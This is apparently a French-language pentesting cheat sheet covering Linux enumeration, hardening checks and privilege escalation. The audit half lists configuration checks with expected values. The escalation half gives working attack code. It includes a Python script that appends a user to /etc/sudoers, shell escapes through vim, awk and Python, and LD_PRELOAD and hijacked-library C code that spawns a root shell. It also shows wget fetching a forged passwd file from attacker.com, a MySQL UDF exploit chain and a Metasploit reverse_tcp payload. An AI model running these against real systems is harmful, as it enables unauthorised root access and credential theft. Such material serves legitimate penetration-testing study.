๐ŸงLinux

Fondamentaux

hostname
whoami
id
ifconfig
uname -a
uname -m

#chercher des exploits sur la version
searchsploit -w distrib
searchsploit -w kernel_version

#mots de passe stockรฉqs
cat /etc/passwd

#Tables ARP
arp -a

#config rรฉseau
/sbin/ifconfig -a; cat /etc/network/interfaces; cat /etc/sysconfig/network; cat /etc/resolv.conf

#Variables d'environnement
cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc; cat ~/.bash_logout; env; set

#historiques
history; cat ~/.bash_history; cat ~/.nano_history; cat ~/.atftp_history; cat ~/.mysql_history; cat ~/.php_history

#Chercher des fichiers de conf modifiables
find /etc/ -writable -type f 2>/dev/null

#Cherches les fichiers avec permissions SUID et GUID
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 6 -exec ls -ld {} \; 2>/dev/null
find / -perm -1000 -type d 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

#Vรฉrifier que l'OS accorde bien les priv par dรฉfauts ร  tous les utilisateurs authentifiรฉs.
#UMASK doit avoir pour valeur 077 est ne doit pas รชtre commentรฉ.
#Si ce n'est pas le cas, un utilisateur pourrait accรจder ร  des fichiers qui ne lui appartiennent pas.
grep -i "umask" /etc/login.defs

#Vรฉrifier si le mot de passe est bien chiffrรฉ.
#Si le mot de passe de root ne commence pas par "password_pbkdf2", il s'agit d'une mauvaise config
grep -i password /boot/grub/grub.cfg 

#Vรฉrifier que l'OS ne dรฉtient pas d'UID's doublons pour les utilisateurs interactifs.
awk -F ":" 'list[$3]++{print $1, $3}' /etc/passwd 

#Vรฉrifier que le groupe "sudo" ne contienne que des utilisateurs lรฉgitimes
grep sudo /etc/group

#Vรฉrifier qu'il y a bien un timeout d'activรฉ pour dรฉconnecter les sessions inactives.
grep -E "\bTMOUT=[0-9]+" /etc/bash.bashrc /etc/profile.d/*

#Vรฉrifier si le package vlock est installรฉ
dpkg -l | grep vlock

#Vรฉrifier que l'OS force la durรฉe de vie minimum d'un mot de passe ร  24h.
#Le cas contraire peut permettre ร  un utilisateur de changer de mot de passe autant de fois qu'il veut.
#Ce qui peut leur permettre de contourner la politique de mot de passe et repasser ร  leur ancien mot de passe.
grep -i ^pass_min_days /etc/login.defs

#Vรฉrifier si l'execution de programme est activรฉ
#Ubuntu
dpkg -l | grep apparmor
systemctl is-active apparmor.service
rรฉponse attendue: active
systemctl is-enabled apparmor.service 
rรฉponse attendue: enable
#RedHat, CentOS
sestatus

#Vรฉrifier si le firewall est correctement configurรฉ
ss -l46ut
ufw status

#Vรฉrifier si les disques sont chiffrรฉs
more /etc/crypttab

#Vรฉrifier l'implรฉmentation d'ASLR.
sysctl kernel.randomize_va_space
rรฉponse attendue: kernel.randomize_va_space = 2
cat /proc/sys/kernel/randomize_va_space
rรฉponse attendue: 2

#Vรฉrifier la prรฉsence du package SSH
sudo dpkg -l | grep openssh
#Vรฉrifier si le service sshd est actif et chargรฉ
systemctl status sshd.service | egrep -i "(active|loaded)"

#Vรฉrifier si X11Forwarding est activรฉ dans les parametres SSH
grep -ir x11forwarding /etc/ssh/sshd_config* | grep -v "^#"
rรฉsponse attendue: X11Forwarding no

#Vรฉrifier si des connexions inattendues ou automatiques au SSH sont possibles.
egrep -r '(Permit(.*?)(Passwords|Environment))' /etc/ssh/sshd_config
rรฉponses attendues:
PermitEmptyPasswords no
PermitUserEnvironment no

#Vรฉrifier le chiffrement SSH
grep -r 'Ciphers' /etc/ssh/sshd_config*
rรฉsponse attendue: Ciphers aes256-ctr,aes192-ctr ou aes128-ctr
grep -ir macs /etc/ssh/sshd_config*
rรฉponse attendue: MACs hmac-sha2-512 ou hmac-sha2-256

#Vรฉrifier si le timeout de session SSH est en dessous de 600 soit 10 minutes
sudo grep -ir clientalive /etc/ssh/sshd_config*
rรฉponse attendue:
ClientAliveInterval 600
ClientAliveCountMax 1

#Vรฉrifiez que les rรฉpertoires de bibliothรจque ร  l รฉchelle du systรจme "/lib", "/lib64" et "/usr/lib" appartiennent au groupe root.
find /lib /usr/lib /lib64 ! -group root -type d -exec stat -c "%n %G" '{}' \;

#Vรฉrifier si le null password est autorisรฉ
grep nullok /etc/pam.d/common-password

#Vรฉrifier si il y a des mdp vides dans /etc/shadow
awk -F: '!$2 {print $1}' /etc/shadow

#Vรฉrifier la politique de rotation de mot de passe des utilisateurs
chage -l <username> | grep expires

#Vรฉrifier que la rรฉutilisation de mot de passe ne peut pas se faire avant aux moins 5 gรฉnรฉrations
grep -i remember /etc/pam.d/common-password

#Vรฉrifier la politique de mots de passe
#Vรฉrifier que la lib pwquality est installรฉe
dpkg -l libpam-pwquality
#Vรฉrifier que l'usage du package est bien activรฉ
grep -i enforcing /etc/security/pwquality.conf
cat /etc/pam.d/common-password | grep requisite | grep pam_pwquality
rรฉponse attendue: password requisite pam_pwquality.so retry=3
grep -i "lcredit" /etc/security/pwquality.conf
rรฉponse attendue: lcredit=-1 
grep -i "dcredit" /etc/security/pwquality.conf  
rรฉponse attendue: dcredit=-1
grep -i "ucredit" /etc/security/pwquality.conf
rรฉponse attendue: credit=-1
grep -i "ocredit" /etc/security/pwquality.conf  
rรฉponse attendue: credit=-1
grep -i "difok" /etc/security/pwquality.conf 
rรฉponse attendue: difok=8
grep -i minlen /etc/security/pwquality.conf
rรฉponse attendue: minlen=15
#Vรฉrifier si la lib "cracklib" permettant d'empรชcher l'usage de mots du dictionnaire dans les mdp est installรฉe
grep dictcheck /etc/security/pwquality.conf 
rรฉponse attendue: dictcheck=1

#Vรฉrifier que les logs system ne sont accessibles qu'aux utilisteurs du groupe "adm"
sudo stat -c "%n %G" /var/log/syslog 
rรฉponse attendue: /var/log/syslog adm

#Vรฉrifier que l'accรจs aux fichiers de /var/log soit au mode 750 ou moins permissif
stat -c "%n %a" /var/log

#Vรฉrifiez qu'il y ai un dรฉlai d'au moins 4 secondes entre l'invite de connexion et l'authentication failed
grep pam_faildelay /etc/pam.d/common-auth

#Vรฉrifier que le dump du kernel soit dรฉsactivรฉ
systemctl is-active kdump.service

#Vรฉrifier que la connexion directe au compte root soit dรฉsactivรฉ
passwd -S root

#Vรฉrifier qu'il n'est pas possible de reboot le syteme avec Ctrl-Alt-Del
grep logout /etc/dconf/db/local.d/*
rรฉponse attendue: logout=''

Python sudoers

#!/usr/bin/env python
import os
import sys
try:
        os.system('echo "username ALL=(ALL:ALL) ALL" >> /etc/sudoers')
except:
        sys.exit()

Escaping shells

Prise d'information de l'environnement

rbash:

$ cd /etc
rbash: cd: restricted
$ asdf
rbash: asdf: command not found

rksh:

$ cd /etc
ksh: cd: restricted
$ asdf
ksh: asdf: not found [No such file or directory]

rzsh:

kali% cd /etc
cd: restricted
kali% asdf
zsh: command not found: asdf

Ishell:

user:~$ echo $(ls)
*** forbidden syntax: echo $(ls)
user:~$ cd /etc
*** forbidden path: /etc/
user:~$ cat /etc/passwd
*** forbidden command: cat

Techniques basiques

Les systรจmes Linux nous fournissent diffรฉrents รฉditeurs. (ed, ne, nano, pico, vim etc)

Certains d'entre eux fournissent des fonctionnalitรฉs tierces d'exรฉcution de commande et de navigation dans les fichiers. Les รฉditeurs comme "vim" nous fournissent l'une des techniques les plus connues pour contourner les restrictions d'un shell.

Vim a une fonctionnalitรฉ permettant d'exรฉcuter des scripts et des commandes ร  l'intรฉrieur. Si vim est disponible, ouvrez-le et lancez la commande suivante:

:!/bin/ls -l

Cela aura pour effet d'exรฉcuter la commande ls -l et de bypasser la restriction sur la commande ls par exemple.

Il s'agit d'un exemple, on peut donc utiliser cette technique pour n'importe quelle commande.

Exemple pour lancer un shell qui ne contiendra donc pas de restrictions:

:!/bin/sh

Mรชme technique avec l'รฉditeur ed:

!'/bin/sh'

Avec less ou man:

$ less .bashrc
!'sh'

$ man ls
!'sh'

avec awk:

$ awk 'BEGIN {system("/bin/sh")}'

Avec expect:

$ expect
expect1.1> spawn sh
spawn sh
20302
expect1.2> sh

ou

$ expect -c 'spawn sh' -i
spawn sh
expect1.1> sh

Avec python:

$ python -c 'import pty; pty.spawn("/bin/sh")' 

Avec Ruby:

$ irb
irb(main):002:0> exec '/bin/sh'

Avec Perl:

$ perl -e 'system("sh -i");'

Avec PHP:

$ php -a
Interactive mode enabled

php> exec("sh -i");

Path variable

# Crรฉer un faux cat
echo "bin/bash" > /tmp/cat
chmod 777 /tmp/cat
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin

# Mettre ร  jour le PATH
export PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin

# Aller dans le dossier restreint
/usr/sbin/cat .private.txt

[TODO]

Capabilities

[TODO]

SUID

/usr/bin/cp

# Si cp a les droits SUID, on peut copier un fichier ร  privilรจges dans un autre dossier pour le lire
cp /etc/passwd /tmp

# Crรฉer un nouveau compte
openssl passwd -1 -salt <username> <password>

# Puis crรฉer un faux /etc/passwd et l'upload dans la cible et utiliser cp
wget http://attacker.com/passwd
cp passwd /etc/passwd

/usr/bin/doas

cat /etc/doas.conf
doas /usr/bin/less /var/log/authlog
:!sh

/usr/bin/find

# Lancer des commande avec un autre utilisateur
touch user123
find user123 -exec "whoami" \;
find user123 -exec "/bin/sh" \;

# Autre mรฉthode
find /home โ€“exec chmod u+s /usr/bin/wget \;
ls โ€“la /usr/bin/wget
cat /etc/passwd
# Ensuite crรฉer un fichier passwd et l'upload

/usr/bin/micro

cat /etc/passwd | /usr/bin/micro

# Puis crรฉer un nouvel utilisateur
openssl passwd -1 -salt <username> <password>

/usr/bin/mawk

mawk 'BEGIN {system("/bin/sh")}'

LD_Preload

Si la rรฉponse ร  un "sudo -l" renvoie la prรฉsence de la variable d'environnement LD_Preload, il est possible d'รฉlever ces privilรจges comme ceci:

1) Crรฉer un script shell.c contenant les lignes suivantes

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

2) Compiler le script

$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles

3) Lancer un des binaires authorisรฉs avec sudo sans mot de passe en utilisant LD_Preload.

$ sudo LD_PRELOAD=/path/to/shell.so <binaire>

NFS Root Squash

Reconnaissance:

$ cat /etc/exports | grep no_root_squash

Si un rรฉpertoire est partagรฉ avec ce paramรจtre, cela veut dire que toutes les actions faitent dans ce rรฉpertoire partagรฉ est fait en tant que "root"

On peut alors monter le repรฉrtoire partagรฉ sur notre machine hรดte:

$ showmount -e <target IP>
/shared *
$ mkdir /tmp/mountme
$ mount -o rw,vers=2 <target IP>:/shared /tmp/mountme

Il reste ensuite ร  crรฉer l'exploit dans le rรฉpertoire montรฉ et l'exรฉcuter sur le serveur cible.

Shared Libraries

1) Lister les binaires avec des la permission 4001.

$ find / -type f -perm 4001 -exec ls -l {} \; 2> /dev/null

2) Exรฉcuter chacun des binaires listรฉs.

3) Si une erreur survient disant qu'une librairie est manqueante (exp: libtest.so: cannot open shared object file: No such file or direcory)

4) trouver le path dans lequel est censรฉ se trouver la lib.

5) Crรฉer un script shell.c contenant les lignes suivantes.

#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -i");
}

6) Compiler le script.

$ gcc -shared -fPIC -nostartfiles -o lib/libtest.so shell.c

7) Exรฉcuter le binaire vulnรฉrable.

Services

MySQL

# Si MySQL fonctionne avec les droits de super utilisateur
sys_exec('usermod -a -G admin username')
Select sys_exec('whoami');
select sys_exec('/bin/bash');
Select sys_eval('whoami');
# Si MySQL fonctionne avec les droits super user en version <5
https://www.exploit-db.com/exploits/1518/

# Rechercher et compiler l'exploit
searchsploit โ€“m 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc
wget http://192.168.1.109/1518.so
chmod 777 1518.so

mysql โ€“u root โ€“p
use mysql;

# Exploitation
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');

Docker

# Si l'utilisateur peut lancer docker
docker run โ€“v /root:/hack -t debian:jessie /bin/sh -c 'ls -al /hack'

# Docker privesc avec metasploit
msf > use exploit/linux/local/docker_daemon_privilege_escalation
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set lhost 192.168.1.116
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set payload linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/docker_daemon_privilege_escalation) >  set session 1
msf exploit(linux/local/docker_daemon_privilege_escalation) >  run

Cron

Overwrite du fichier

Si on a les droits pour overwrite le fichier executรฉ, alors il est possible de crรฉer un shell facilement ร  la place du fichier original.

Overwrite du chemin

Si cron cherche le fichier sur plusieurs chemins et que le chemin complet du script d'origine n'est pas dรฉfini dans crontab, si on a les droits pour crรฉer un fichier sur l'un des chemins recherchรฉ en premier, on est alors capable de crรฉer un fichier du mรชme nom dans celui-ci.

LinPEAS

LinPEAS est un script qui recherche les chemins possibles pour รฉlever les privilรจges sur les hรดtes Linux/Unix*/MacOS.

Exemple d'utilisation:

$ ./linpeas.sh -a

ressource: https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

LinuxSmartEnumeration

LinuxSmartEnumeration est un outils d'รฉnumรฉration Linux pour le pentesting et les CTF inspirรฉ de l'outil LinEnum. Contrairement ร  LinEnum, LSE tente d'exposer progressivement l'information en fonction de son importance d'un point de vue privรฉ.

Exemple d'utilisation:

$ ./lse.sh -l1

ressource: https://github.com/diego-treitos/linux-smart-enumeration

Lynis

Lynis est un outil dโ€™audit de sรฉcuritรฉ pour les systรจmes basรฉs sur UNIX comme Linux, macOS, BSD et autres. Il effectue une analyse de sรฉcuritรฉ approfondie et fonctionne sur le systรจme lui-mรชme. Lโ€™objectif principal est de tester les dรฉfenses de sรฉcuritรฉ et de fournir des conseils pour renforcer davantage le systรจme.

Utilisation:

$ ./lynis audit system

ressource: https://github.com/CISOfy/lynis

Eviltree

Eviltree est un remake python3 de la commande classique "tree" avec la fonctionnalitรฉ supplรฉmentaire de rechercher des mots-clรฉs/regex fournis par l'utilisateur dans les fichiers, en mettant en รฉvidence ceux qui contiennent des correspondances.

Exemples d'utilisation:

$ python3 eviltree.py -r path/to/repo -k passwd,admin,login,user -v

$ python3 eviltree.py -r path/to/repo -x "<regex>" -v

ressource: https://github.com/t3l3machus/eviltree

Ressource

https://book.hacktricks.xyz/linux-unix/privilege-escalation

Derniรจre mise ร  jour